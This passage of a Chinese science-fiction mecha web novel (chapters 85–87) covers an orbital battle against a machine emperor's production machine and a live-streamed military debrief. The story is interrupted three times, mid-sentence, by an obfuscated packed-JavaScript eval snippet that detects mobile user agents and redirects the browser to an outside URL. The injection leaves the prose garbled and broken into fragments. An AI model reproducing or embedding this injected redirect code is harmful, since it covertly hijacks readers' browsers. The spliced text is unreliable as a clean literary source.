她收起工具,抛了抛手中的机甲钮。 机甲钮发出轻柔的嗡鸣:“嗡~” “塞壬说,它很好。”雪理接过机甲钮,怜惜地抚摸了几下。 发出质疑的军校生哑火了:“……” “我并非用维尔莱德军校的出身来压制你,只是,我确实比你厉害。”欧白白对军校生道,“多提一嘴,我的GPA是满分,你呢?” 军校生强硬道:“我也是满分!” “好好努力,我看好你。”欧白白拍了拍军校生的肩膀,笑弯的双眼里闪动着微光,“我等着你的母校进入前五,把圣罗兰军校这种名不副实的学校挤下去。” 欧白白随口一撩,又低头去摘自己的机甲钮。 但那名军校生双颊绯红,竟抢先把自己的机甲钮递给了欧白白:“你……你可以用我的。” 一只素白的手伸了过来:“不,用我的。” 军校生顺着那只手看过去,一瞬间尴尬不已。 ——来人正是圣罗兰军校的参赛者。 欧白白抬起头,看清那人的脸后,毫不心虚地笑道:“是你啊,墨家的大小姐。” “叫我墨轻衣。”名为墨轻衣的少女轻哼一声。 欧白白眯起双眼:“为什么呢,大小姐?” 墨轻衣的脸色冷了几分:“你知道原因。” “那么,恕我婉拒。”欧白白推开墨轻衣递来的机甲钮,转手拿了那名军校生的。 墨轻衣怔了一瞬,收回了机甲钮。 她看着欧白白低头捣鼓机甲钮。 对空间折叠状态下的拘束装甲进行毫米级微操,即便是最资深的研究员,也需要在洁净无菌的实验室里,借助各类精密器械才能实现。 但这里又吵又乱,时刻有人干扰。 这样的环境下,只有那位鼎鼎有名的副院长——尤莱亚·墨菲能够做到。 可她没料到,仅仅三年过去,这牙尖嘴利的欧白白,竟然也能完成这种操作。 “我最搞不明白你这种大小姐的脑回路了。”欧白白正埋头操作,突然轻声说道。 墨轻衣一直盯着欧白白。 她没有接话。 “你已经享受了世上最好的资源,偏偏又那么清高,觉得墨家的光辉遮盖了你个人的努力。”欧白白语气轻松,态度却无比尖锐,“恕我直言,墨家的大小姐,你可真是既要又要。” 墨轻衣没有反驳:“你这么想,是因为你是平民吗?” “帝国早就灭亡了,现在是联邦的时代,你我都是平等的公民。”欧白白回道。 墨轻衣再次沉默。 “……我只是有些不高兴,我明明那么努力,却只是有资格进入你们这些少爷小姐的视野而已。”欧白白结束改装,把机甲钮递给一旁冷汗涔涔的军校生。 她抬起头,向墨轻衣伸来一只手:“你也要救人?把你的机甲钮给我。” 墨轻衣盯了欧白白几秒,忽然发出一声尖利的笑。 她把手中攥着的机甲钮挂回腰间:“不,我来找你,不是为了这个。” 欧白白有些疑惑。 墨轻衣抬高视线,掠过欧白白的头顶,看着那群争抢登船的难民:“我来找你,是给你送好消息的。” 不等欧白白有所反应,她接着说:“奥古斯都家族、墨家和黎家,以走私的名义送来了大量物资,其中就包括一千艘转移难民的星舰。” 欧白白呼吸一滞,抱紧了怀里的迷你电脑:“那些星舰……” “那些星舰,当然是被扇区总督扣下了。”墨轻衣轻笑一声,毫不掩饰眼底的轻蔑,“但我们的‘太子’莱茵,正在和总督先生洽谈,至多半天,那些星舰就会陆续抵达所有受难星球。” 欧白白眼神一亮,很快又黯淡下来:“不,来不及的……半天太久了。” “莱茵也想到了这一点,所以,他说服了我,让我和你达成一项合作。”墨轻衣说。 欧白白警惕地看着她:“你?” “对啊,我。”墨轻衣轻笑道,“我本来一点也不想找上你——三年前的那场比赛,你可是让我吃尽了苦头。” 欧白白鬼使神差地猜到了墨轻衣接下来的话。 能让什么都不缺的墨轻衣主动来和她合作,唯一的可能,只会是…… “你那台老掉牙的改装电脑里,储存着白璐元帅的意识,对吧?”墨轻衣略微上挑的眼眸,锐利地盯着欧白白怀里的迷你电脑。 欧白白陷入了沉默。 几秒后,欧白白眯起眼:“你想让我做什么?” “我的姑祖母墨七杀元帅,和白璐元帅是至交好友。我需要你通过墨家主脑,把白璐元帅的意识连接到联邦主脑。”墨轻衣道。 欧白白呼吸一滞。 她出神入化的骇客技术,正是师承已逝的白璐元帅。 但她依然困在联邦主脑精心编织的信息茧房里。 可就在刚才,她嗅到了茧房外的气息。 那是天外世界的气息,那是自由的气息。 而这样的气息,她只在第一次见到郗灵时捕捉到过。 欧白白按捺住砰砰狂跳的心:“所以,你到底想做什么?” “主脑内部有一道封印,而白璐元帅是主脑的创造者,解除封印的密钥,只有她知道。”墨轻衣凝视着欧白白的眼睛,“只有解除封印,主脑的特殊功能才会被解锁,而有一个人……需要主脑的帮助。” 欧白白屏住呼吸:“谁?” 墨轻衣低声回答:“你失踪的‘王牌’——她现在,正在星域战场上。” * 悦耳的嗡鸣声伴随着释放的谐波,在星域战场上每一个士兵的耳边响起。 郗灵一人当关,驾驶龙姬挡在第七军团和生产机床之间。 她凝望那颗耀眼灼目的“机械太阳”,双手一点点攥紧。 一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610704|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清凉的液体注入驾驶舱。 原本滚烫的母液,水温很快降了下来。 “主人。”龙姬低声唤道。 “……你长大了,龙姬。”大敌当前,郗灵心中却不由得生出欣慰,“不久之前,你还只是一个小小的胚胎,连一句完整的话都说不出来。” “通用语很难,我说得不好。”龙姬的声音带着几分低落。 “你说得很好,比当初的我好太多了。”郗灵轻笑着安慰。 “主人。”龙姬的声音又轻又柔,仿佛梦呓一般,“我长大了,我……已经是一个女孩儿了。” 郗灵一愣,随即反应过来,由衷道:“恭喜你!” 从现在起,龙姬不再是“它”,而是“她”了。 “在我长大的那一刻,我的面前出现了两个选择:我可以成为男孩儿,也可以成为女孩儿。”龙姬的通用语虽不算流利,但她的谐波清晰传递给了郗灵,让郗灵完全听懂了她的心意。 此时,生产机床散发出更加强烈的谐波。 ——它已结束暖机。 郗灵凝望着那颗“太阳”,对龙姬轻柔地问道:“龙姬,你为什么选择成为一个女孩儿呢?” “因为你是一个女孩儿。”龙姬轻声回答,“就像主脑爱着维尔莱德,所以成为了一个男孩儿那样……我爱你,所以,我成为了一个女孩儿。” 嗡!!! 生产机床发出高亢的嗡鸣,震彻寰宇。 埃德蒙惨白着脸庞,驾驶机甲在护盾外飞行:“挡不住!根本挡不住!我们的护盾肯定会破掉的!!” “最后一轮数据采集完了吗?”萧寒剑的声音在加密频段中响起。 埃德蒙用力敲下最后一个按键,飞快钻进护盾,松了口气:“幸不辱命!” “很好,从现在起,我任命你为第七军团临时提督。”萧寒剑说道。 埃德蒙愣住了。 所有人都愣住了。 埃德蒙最先反应过来,颤着声音问道:“上将……你想做什么?” “我同意你的决策,让郗灵抵御谐波,确实是最好的选择。”萧寒剑语气平静,末尾却带了一丝喟叹,“但……我也有自己的私心。” 加密频段中唯有一片沉默。 萧寒剑静坐在驾驶舱中。 她抬起头,透过驾驶屏幕凝视着这片宇宙。 当无情的战火短暂停歇,绚烂的花火不再盛放,这个被人类和机械帝皇共同点燃的宇宙,终于恢复了往日的寂静与冰冷。 如果银河不再有战争…… 如果银河不再有人类…… 如果银河不再有生命…… 加密频段内一片死寂,唯余众人压抑的呼吸声。 萧寒剑收回飘远的视线,看向孤守在护盾之外的雪色机甲。 “那个孩子,是我亲手从矿星上救出来的,在我心里,她就是我的女儿。”萧寒剑说。 在众人沉默的注视下,萧寒剑驾驶“凤凰”,缓缓飞出了巨大的聚能护盾。 那台火红的机甲,宛如一颗渺小却炽热的星星,朝着龙姬所在的位置飞去。 凤凰是燃烧的红星,热烈而决绝。 龙姬是苍白的晚星,孤勇而纯粹。 埃德蒙想要劝说,却只吐出半句话:“上将……” “我要去陪她。”萧寒剑的声音轻而坚定。 她重复道:“埃德蒙,我要去陪她。” 85. 燃烧的星星(七) 埃德蒙望着“凤凰”远去的背影,牙关一点点咬紧。 他在驾驶舱中蜷缩起身躯,声音里满是不甘与自嘲:“该死……我永远都这么没用,什么也做不了。” “别停下来,埃德蒙。”加密频段中响起一道苍劲的声音,“你还有更重要的事要做。” 埃德蒙猛地抬起苍白的脸,几道未干的泪痕在舱内灯光下泛着微光。 他哑声开口:“……洛宁中将?” “寒剑已经奔赴前线,你身为她的副官,必须为她扫清后顾之忧。”洛宁中将温和地引导道,他鲜少如此温和,“你好好想一想——如果郗灵成功挡下谐波,我们下一步该做什么?” 埃德蒙愣了一下。 下一秒,他黯淡的灰眸中骤然燃起复仇的火焰。 他一把摘下单边黑色眼罩,露出其下摘除了眼球的空洞眼窝——那处丑陋的凹陷处,嵌着精密的生化接口。 紧接着,他粗暴地扯下驾驶舱内的几根导线,狠狠插入接口之中。 剧痛瞬间席卷了埃德蒙的大脑。 冰冷的数据洪流在他眼前飞快闪过。 “机械帝皇,今天我们就来一决高下!”埃德蒙疯狂一笑,眼底满是破釜沉舟的决绝,“看看究竟是谁技不如人——你的合金脑袋,能不能赢过全联邦最聪明的大脑!” …… 郗灵望着向自己飞来的“凤凰”,心头一时间酸涩与感动交织。 她轻声唤道:“上将……” “时不我待,你专心防御谐波。”萧寒剑的声音沉稳有力。 郗灵高声回应:“是!” 嗡!! 生产机床再度散发出高亢雄浑的谐波,震得周遭太空都泛起细微涟漪。 凤凰悬浮在龙姬身侧,宛如一颗燃烧的星辰。 萧寒剑叮嘱后便再未多言,但郗灵能清晰感受到,凤凰周身正涌动着一股磅礴的能量。 ——那身火红的拘束装甲之下,似有燎原之火亟待爆发,每一寸拘束装甲都在能量的冲击下微微震颤。 那是暴走的征兆。 但凤凰的暴走,和郗灵见过的其他机甲截然不同——比如上一场战争中失控自爆的“灰鹞”,又比如皇宫地底那近乎癫狂的“皇帝”。 其他机甲的暴走,向来失控无序,只会沦为破坏的工具。 可凤凰的暴走,酝酿的能量更加磅礴、炽烈,且始终被一股强大的意志牢牢束缚。 “噫,真是个可怕的后辈。”一道略感耳熟的男声突然在郗灵耳畔响起。 郗灵愣了一瞬。 这个声音,她并非第一次听见。 在觐见之塔,她曾见证这声音的主人为联邦殚精竭虑,又在一个月凉如水的夜晚,亲手抓起杜尚别的手枪,毫不犹豫地抵上自己的胸膛。 ——“吾友啊,我的弱点不在大脑,而在心脏。” ——“下一次,若你认为我应该死去,请一定将枪口对准这里。” 在血红的地底世界,她站在宏伟壮丽的血色巨树下,主脑尚未开口时,这声音的主人也曾发出充满探究的轻咦。 ——“拘束装甲?但没有生命方程式?” ——“白璐的理想终于实现了?现在的人类,已经找到驾驶机甲的正确方法了?” 那是维尔莱德的声音! 那是推翻了帝国,又为守护联邦而死的……联邦国父的声音! 郗灵瞳孔骤然紧缩。 而声音的主人——维尔莱德,却发出一声怜爱的轻笑,仿佛在眼前看着她一般。 “如今的联邦可真够糟糕的,竟让你一个小姑娘来抵挡生产机床的攻击。”他的语气依旧温和,可这份温和之下,却深藏着刺骨的锋芒,“小姑娘,我应主脑的请求而来,但我还不知道你的名字。” 郗灵没有回答。 她的目光死死盯着屏幕—— 那台金色的生产机床,已完成第二阶段蓄能,机体表面游走着明亮的能量纹路。 一团温和静谧的雪色光球,如同成熟后悄然坠落的果实,从生产机床的核心中缓缓析出。 它沿着数十条金属支架,循着既定弹道,朝第七军团缓缓漫游而来。 郗灵缩成针尖的瞳孔里,清晰倒映着那团不断逼近的光球。 她能挡住吗? 她……能挡住吗? “小姑娘,你叫什么名字?”维尔莱德温和而耐心地追问。 郗灵深吸一口气,漫不经心地回应:“我叫郗灵。” 嗡!!! 洁白的光球骤然挣脱最后一道金属轨道的束缚,伴随着夜莺般悦耳却致命的“歌声”,朝郗灵所在的位置猛冲而去! “龙姬!”郗灵高声下令。 数不清的外骨骼如层层编织的蚕茧,瞬间将龙姬与凤凰牢牢包裹,形成一道密不透风的防御屏障。 可即便如此,郗灵仍能感受到那股铺天盖地的能量威压。 这团看似温和无害的雪色光球,蕴含的能量竟比之前那道声势浩大的高能射线还要恐怖数倍。 光是溢出的能量余波,就让最外层的外骨骼出现了不堪重负的裂纹。 维尔莱德看着如临大敌的郗灵,竟还有闲心打趣:“唔……仔细一想,你约莫算是我的女儿?” 郗灵紧咬牙关,全力维持外骨骼屏障,抵御着光球散发的磅礴能量,连开口的余力都没有。 “叫我一声国父,我便教你如何反击。”维尔莱德突然说道。 郗灵一怔,随即毫不犹豫地开口:“国父!” 雪色光球已近在咫尺! 它在太空中飘浮时,宛如一粒纯净无瑕的雪球,美好得让人忘了其危险性。 可一旦触碰到龙姬释放的外骨骼护盾,它便瞬间迸发出一道道毁灭性的能量涟漪。 如同投入湖面的巨石激起千层浪,连这片漆黑的宇宙都为之剧烈震颤,翻涌出油画般厚重绚烂的色泽。 外骨骼屏障在这股恐怖的能量冲击下,开始一点点消融、龟裂。 萧寒剑紧盯着不断变薄、布满裂纹的屏障,眸色一沉,瞬间做好了开启暴走的准备。 凤凰装甲的接缝处,悄然溢出数缕灼热的微小火焰。 但就在这时,维尔莱德大笑道:“郗灵,机械帝皇的雕虫小技,何至于让你如临大敌!” 嗡—— 随着他话音落下,一阵优美、纯净、穿透寰宇的乐声骤然奏响。 宇宙爆炸膨胀之后,便从滚烫走向冷寂,从沸腾的坩埚沦为一潭死水。 原本密集的物质散入四方,粒子碰撞的概率低到极致。生命的诞生,也因此成为奇迹般的偶然。 但龙的诞生,是宇宙中最大的奇迹。 龙能拨动宇宙中散落的“弦”,让这片黑暗死寂之地,不再是阒寂无声的坟茔。 一如百亿年前,混沌初开之时,拥挤的物质高速碰撞、交融,奏响一曲生命的大乐章。 在维尔莱德的引导下,龙姬奏响的“大乐章”,正以不可阻挡之势,席卷整个星域战场。 那颗蕴含着磅礴能量的雪色光球,竟如春雪遇阳般迅速消融。 而它体内的磅礴能量并未消散,反倒散播在这片冷寂的战场上,让原本沉寂的宇宙,瞬间化作沸腾的坩埚。 粒子与波高速碰撞,掀起狂暴的能量乱流。 机械帝皇因紊乱的电波, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617007|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被强行弹出加密频段。 他来不及为失利震惊,便立刻发出尖利而阴狠的咒骂:“维尔莱德!!!” 嗡—— 龙姬的“大乐章”蔓延至机械军团。 生产机床发出最后一道濒死的谐波,随即熄灭了所有光与热,彻底哑火。 埃德蒙双手在操作台上飞舞,十指快得带出残影:“洛宁中将——就是现在!” 机械军团腹地,那些指挥着麾下十万机兵的机械主脑面前,一台台机甲骤然取消隐身护盾,手中举着各式各样的能源武器,对准了机械主脑停止机动的脆弱核心。 洛宁中将声嘶力竭地下令:“开炮!!!” 轰——! 宇宙本是没有介质的真空,无法传递声波。 但躲在超大型护盾后的第七军团全体将士,望着机械军团内部绽放的、盛大璀璨的花火,都不约而同地“听”到了震耳欲聋的爆炸声。 那些深入敌营,只为摧毁机械主脑的精锐机甲兵,在这一刻,与机械大军一同葬身火海。 火海之中难分敌我,但所有人都“看”到了一颗又一颗燃烧的星星。 埃德蒙流着眼泪,额头重重磕在操作台上,灰色的独眼既脆弱又狠厉:“……洛宁中将,我发誓,你不会白白牺牲的。” “……咳,我还活得好好的。” 滋滋作响的加密频段中,洛宁中将突然轻咳一声。 埃德蒙愣住了。 第七军团所有人都愣住了。 因为龙姬引发的异变,宇宙中的粒子与波陷入了前所未有的紊乱,所有加密频段竟都被串连起来。 上至高级军官,下至底层小兵,都清晰听到了这段本应高度保密的对话。 平日里牙尖嘴利的埃德蒙副官,此刻竟然毫无形象地哭了起来:“洛老头!你没死真是太好了呜呜呜……” “好啦,别哭了。”洛宁中将颇为无奈地劝道。 埃德蒙打着哭嗝,抽噎着问:“洛老头,你是怎么活下来的?” “不只是我,所有人都活下来了。”洛宁中将的语气带着敬畏和惊疑。 他沉声说道:“就在我们引爆机械主脑的瞬间,一层琥珀质地的外骨骼包裹住了机甲,我们……因此幸免于难。” 埃德蒙愣了一下。 他爆发出尖叫鸡般高亢的叫声:“是郗灵!!” “郗灵昏迷了,我马上带她回母舰接受治疗。”萧寒剑示意埃德蒙停止尖叫。 旋即,她又疑惑地低语:“她之前叫出的那一声‘国父’……究竟是什么意思?” …… 莱茵安静地注视着扇区总督。 他的嘴角淌着鲜血,眼珠狰狞地鼓起,肥胖的身躯从座椅上瘫滑而下。 他死了。 死得既滑稽,又可悲。 “你为什么要杀他?”渡鸦倚在门口,侧头看向莱茵,“这是我第一次见你脏了自己的手,就不怕被人发现?” “不怕。”莱茵的回答简洁而平静。 “为什么?” “在联邦的存亡面前,一个人的生死本就渺小。”莱茵拿起总督饮用过的酒杯,举到眼前细细端详,“而且,这位总督先生,一直是父亲的眼中钉,即便他今日不死,明日也难逃一死。” 渡鸦沉默不语。 莱茵凝视着杯中剩了一半的殷红美酒,露出一抹柔美的笑:“更何况,他的死,正好证实了我的猜想。” 渡鸦没有追问。 诺因尼家族是历代皇帝的渡鸦、死神与刽子手,所以,他深谙有些秘密,注定要淹没在黑暗里。 哪怕那片黑暗,深藏在人心最阴暗的角落中。 86. 巨大功勋 郗灵躺在第七军团母舰的医疗舱中。 淡琥珀色的人造羊水泛着粼粼水光,她略显苍白的面容浸没其中,仿佛被琥珀尘封。 她双眼紧闭,眼睑下的眼珠微微滚动。 只因维尔莱德的声音,正在她的脑海中洪亮回响: “女孩儿,你竟然真的奏响了‘大乐章’,把机械帝皇吓得屁滚尿流,哈哈!” “硅基生命好像没有排泄系统?管它呢,这只是个无伤大雅的比喻。” “我不能离开主机房太久,对你的指导就暂时到这里。你要是想找我,就进入觐见之塔,主脑会妥善安排好一切。” “再见了,郗灵!” 郗灵猛然睁开眼:“国父!” 张嘴的瞬间,大量人造羊水涌入气管。 虽说肺中的空气早已置换成溶液,但急促的呼吸动作,还是让她的肺部泛起阵阵隐痛。 郗灵蜷缩在舱体里,用力咳嗽了几声。 医疗舱舱盖在刺耳的泄压声中缓缓打开,雪白的灯光一瞬间刺破昏暗的舱体,刺目得恍如白昼。 一双有力的手臂将她怜惜地抱起,温柔地抚着她的后背。 郗灵浑身湿漉漉的,头发黏在脸庞和脖颈上,睫毛挂满晶莹的水珠,一时间睁不开眼睛。 但她精准嗅出了那人的气息:“……上将?” “嘘,别说话。”萧寒剑继续轻拍她的后背,随手脱下自己的军装大衣,将郗灵整个裹进温暖的布料里,“真奇怪,你怎么会呛到?是做噩梦了吗?” 郗灵断断续续咳出肺中残留的溶液,连一句完整的话都说不连贯,却仍焦急地追问:“上将,战争——” “战争没有结束,不如说,才刚刚开始。”萧寒剑抱紧裹着大衣的郗灵,垂眸沉沉地凝视着她。 郗灵沉默了。 “但这不该是你要操心的事,你没必要替那些无耻政客品尝恶果。”萧寒剑叹息一声,指尖轻轻抚过她湿漉漉的发顶,“好好一场机甲联赛,居然和战争绑定,这是要把战争娱乐化吗?我实在……感到愤怒。” 郗灵倚在萧寒剑怀中,仰头望着她轮廓分明的下颌线。 上将不仅在愤怒,还藏着深深的悲伤。 爱与恨从来不是反义词,爱与冷漠才是。 萧寒剑对联邦仍抱有浓烈的情感,即便这份情感早已从正面转向负面,她却始终无法真正死心。 一阵刻意放轻的脚步声“哒哒”传来。 埃德蒙副官走到萧寒剑身旁,行了个标准的军礼:“上将,参赛选手们已等候多时,会议是否可以开始?” 参赛……选手? 郗灵抬眸看向萧寒剑。 萧寒剑冲她温和一笑:“你如今醒了,这场会议,自然可以开始了。” 这是明晃晃的偏心。 但不仅是萧寒剑,就连埃德蒙也毫无异议,脸上甚至写满了“理应如此”。 郗灵从医疗舱中钻出来,甩了甩脑袋,任由身上残留的人造羊水在空气中快速挥发。 萧寒剑垂眸看她:“饿了吗?” 郗灵摸了摸瘪掉的肚子:“好像有点。” 离开矿星后,她一共进行了三次超负荷暴走,而体能消耗最大的两次,全是在第七军团完成的。 ——暴走、进医疗舱、苏醒、吃饭。 这已经成了她的“固定流程”。 埃德蒙自然也清楚这一点,毫不犹豫地说道:“那就让他们再等一等,先让郗灵吃饱了再说。” 郗灵愣了一下:“这样不好吧?” “那就把吃的送到会议室来。”萧寒剑下令。 几分钟后,军校机甲联赛临时会议室内,安静得可闻落针。 萧寒剑上将立在上首,双臂环胸,虚倚着四维沙盘。 她的高马尾利落束于脑后,白衬衫工整扎进裤腰,身姿挺拔,一眼望去尽显英姿飒爽。 埃德蒙副官站在一旁,戴着单边黑色眼罩,怀里抱着一打花名册,上面标注着密密麻麻的“√”或“×”。 一众参赛者按积分排序落座。 为首的五支小队,不出所料正是来自五大军校的队伍。 按照排名顺序,这五支队伍分别是: 第一名,维尔莱德军校,队长欧白白; 第二名,银鹰军校,队长卫惊鸿; 第三名,圣罗兰军校,队长凯撒·奥古斯都; 第四名,龙枪军校,队长炎琳; 第五名,阿瑞斯军校,队长龙北星; 但此时此刻,所有人的视线都在萧寒剑和郗灵之间来回移动。 郗灵披着萧寒剑的军装大衣,埋头狂啃肉干,两颊鼓鼓囊囊,像一只囤积粮食的小仓鼠。 数十台飞行摄像头在会议室中静静悬浮,记录着这历史性的一幕。 摄像头的屏幕上,实时滚动着一条条弹幕: 【那个狂吃肉干的妹子是谁啊?】 【复盘会议推迟了三天,今天又临时延后两小时,居然是为了等她?】 【会议室里不是禁止携带食水吗?这位同学也太特殊了!】 【她坐在第一顺位诶,就在凤凰上将身边……背景不一般啊】 【废话,上将的大衣还披在她身上呢】 【有一说一,她开吃播绝对火,这吃相也太香了!隔着屏幕都看饿了】 欧白白坐在郗灵身旁,轻轻扯了扯她的袖子:“你要不等会儿再吃?全联邦公民都在看着呢。” 郗灵两颊鼓鼓囊囊,含混不清地说:“学姐,我饿。” 欧白白立刻倒戈,主动挡在她身前:“那你快吃,我给你挡住镜头。” “第一次复盘正式开始!” 萧寒剑没有半句废话,大手一挥,四维沙盘的投影瞬间放大,稳稳落在巨大的会议桌上。 有眼尖的军校生当即惊呼:“萧上将,这是前线战场的战情复盘沙盘!……” “你们是军校生,将来也会成为军人,听一听真实战役的复盘总结,对你们没有坏处。”萧寒剑沉声回应。 “不,我的意思是,现在正在直播,这样泄露机密,可能会触犯军法,甚至上军事法庭……” “他们要告就尽管来告!”萧寒剑的脸色骤然冰冷,周身气场凌厉,“我是联邦人,你们是联邦人,观看这场直播的观众也都是联邦人!泄密?谁敢泄密!” 慑于萧寒剑的汹汹气势,提出质疑的军校生低下头,再也不敢多言。 会议室内,本已缓和几分的气氛,再度陷入冷凝。 郗灵咽下嘴里的肉干,抬头道:“上将,你别太凶了。” 萧寒剑转头凝视着她,眼神又好气又好笑。 埃德蒙副官勾了勾唇角,替不便多言的萧寒剑解释道:“郗灵,上将并非草率行事——第七扇区内的电波如今紊乱不堪,机械帝皇已无可能攻破防火墙,绝不会再窃听到我军机密。” 【哇塞,这妹子好大的面子!敢这么跟凤凰上将说话】 【郗?那些大家族里有‘郗’这个姓氏吗?没印象啊】 【别跑题!臣附议,她真的适合当吃播,这也太下饭了】 【等等,没人注意副官说的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623050|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次窃听”吗?难道之前有过泄密事件?】 “既然有人向我提出疑问,那么这位同学的顾虑,想必不是他一人独有。”萧寒剑目光如刀,缓缓扫过全场,“那我就多费一点时间,向诸位申明我的立场。” “这是一场战争,但又不止是一场战争。” “你们作为无辜的学生被卷进来,是那群废物官员拍脑袋做出的决定,我对此无话可说。” “但世上本就鲜少有人能真正掌控自己的命运。” “你们既已来到这里,就必须摒弃学生思维,拿出军人的决心,而非仅仅把自己当作局外人。” “从踏上战场的那一刻起,你们就是军人!” “你们中的绝大多数人,能力还远未耀眼到能撼动我的决策、让整个第七军团沦为你们陪衬的地步。” “我不管你们有多么显赫的出身、多么华丽的履历、多么超凡的天资,在我这里,你们只有一个身份——我手下的兵!” “而你们,目前还没有随意打断我说话的资格!” “军令如山,令行禁止!这八个字,希望诸位铭记于心。” 坐在第三席的少女当即面露不忿。 她是排位第三的圣罗兰军校种子队成员,亦是墨家第一继承人——墨轻衣。 此刻,她毫不畏惧地出声反驳:“上将,您说得不对!” 萧寒剑冷峻的目光瞬间锁定墨轻衣。 她的队长凯撒立刻起身,沉声致歉:“抱歉,上将,是我未能管好队员,这是我的失职。” “我只问这一次,就算把我的个人积分全部扣光也可以!”墨轻衣仿佛读不懂全场紧绷的气氛,语气尖锐而执着,“萧上将,您为何要偏袒那个叫‘郗灵’的参赛者?” 郗灵放下手中的肉干,抬眸看她:“你可以直接问我。” “问你没有意义,偏袒你的人是萧上将。”墨轻衣警惕地扫了郗灵一眼,又锋芒毕露地看向萧寒剑。 她的目光直直对上萧寒剑的视线,一字一顿地说:“上将,维尔莱德军校的团队积分原本垫底,可战役结束时,却突然暴涨,压过所有军校,成为断层式第一!这未免太过蹊跷!” 郗灵听明白了墨轻衣的言外之意,轻笑一声,拿起肉干继续啃食。 ——饿肚子的滋味,可一点也不好受。 埃德蒙戏谑地瞥了郗灵一眼。 萧寒剑笑了,看向墨轻衣:“士兵,报上你的名字。” 墨轻衣挺直腰杆,行了个标准的军礼:“圣罗兰军校,墨轻衣!” “墨轻衣士兵,我来回答你的问题。”萧寒剑望着墨轻衣年轻而充满锐气的脸庞,眼中多了一丝欣赏。 她缓步走到郗灵身后,戴着白手套的手轻轻抚上郗灵的头顶。 郗灵抬起头,嘴里还塞着肉干:“上将,你这是故意给我拉仇恨啊。” 萧寒剑垂眸一笑:“不乐意?” 墨轻衣皱紧眉头,语气急促:“上将,您这是什么意思?” “维尔莱德军校的团队积分之所以暴涨,并非你臆想中的黑幕,而是因为……郗灵立下了足以改写战争局势的巨大功勋!”萧寒剑看向墨轻衣,语气陡然沉凝。 凯撒眼珠一颤,飞快瞄了一眼悬浮的摄像头,连忙用眼神示意墨轻衣闭嘴。 但墨轻衣已然豁出去,继续追问道:“巨大功勋?什么功勋,能比得上奥古斯都家族和墨家无偿支援的一千艘战舰?” “她一个人,摧毁了机械帝皇的生产机床。”萧寒剑目光锐利地盯着墨轻衣,“这样的贡献,你觉得不够巨大吗?” 87. 未答之问 【卧槽?!】 【卧槽?!】 【这几个字我每个都认识,怎么连起来就看不懂了?】 【我从星网百科回来了,生产机床原来是这么厉害的东西……这妹子回来评个一等功都不过分吧!】 郗灵啃着肉干,瞥见墨轻衣的眼睫几不可察地颤了下。 墨轻衣的指尖在袖口飞快摩挲了两下,又迅速收回,仿佛只是无意识的小动作。 下一秒,那点转瞬即逝的波动便被惯常的冷傲覆盖。 墨轻衣脊背挺得笔直,像株从不会弯折的劲竹,只是看向郗灵的目光里,多了丝从未有过的灼热。 ——那是猎手盯上猎物的锐利,混着几分棋逢对手的兴奋。 在所有人的注视下,墨轻衣深吸一口气,对郗灵深深弯下了腰。 她的语气硬邦邦的,带着不容置喙的强势:“对不起,郗灵,我为先前的怀疑向你道歉。” 话音刚落,她便转向萧寒剑:“上将,请扣除我所有个人积分,作为打断会议的处罚!” “你的处罚之后再说。”萧寒剑的目光落在四维沙盘上,“下一场战役随时可能开始,时不我待,我们继续复盘。” 复盘时,郗灵总能感觉到一道直白到近乎冒犯的视线。 她不用回头也知道是墨轻衣。 郗灵嚼着肉干,余光看着队友们的动静: 莱茵被六台飞行摄像头怼着脸拍,翡翠色的眼睛从镜头缝隙里偶尔飘过来,指尖还轻轻敲了敲桌面,像是在琢磨什么。 雪理坐在旁边整理作战笔记,指尖缠着的白色棉绳随着动作轻轻晃动,偶尔抬头看她一眼,眼里满是重逢的欣喜。 渡鸦靠着椅背,神色平静得像一潭深水,腰间原本该挂着机甲钮的地方空荡荡的,指尖不时无意识摩挲腰间的布料,透着几分反常的寂寥。 欧白白一边听复盘,一边偷偷用终端刷着星网,看到有趣的评论还会用胳膊肘碰一碰郗灵,嘴角勾起狡黠的笑意。 复盘会议结束时,埃德蒙低头看了眼光脑,眉头骤然皱紧。 他快步走到萧寒剑身边,急促地汇报着什么。 “是她?”萧寒剑愣了一瞬,眼神沉了沉,“知道了,我马上过去。” 话音刚落,萧寒剑便大步流星地朝门外走去。 埃德蒙转头,恰好瞥见一台飞行摄像头正悄悄跟在萧寒剑身后,像是想偷拍些什么。 他眼底闪过一丝恶作剧的坏笑,伸手一把抓住那台摄像头,扫视了一圈会议室,最终将目光落在郗灵身上,手腕一扬,就把摄像头朝她扔了过来。 郗灵反应极快,单手稳稳接住。 埃德蒙喝彩鼓掌:“好球!” 郗灵低头看着怀里的摄像头,上面编号“666”闪着微光,弹幕正飞快滚动—— 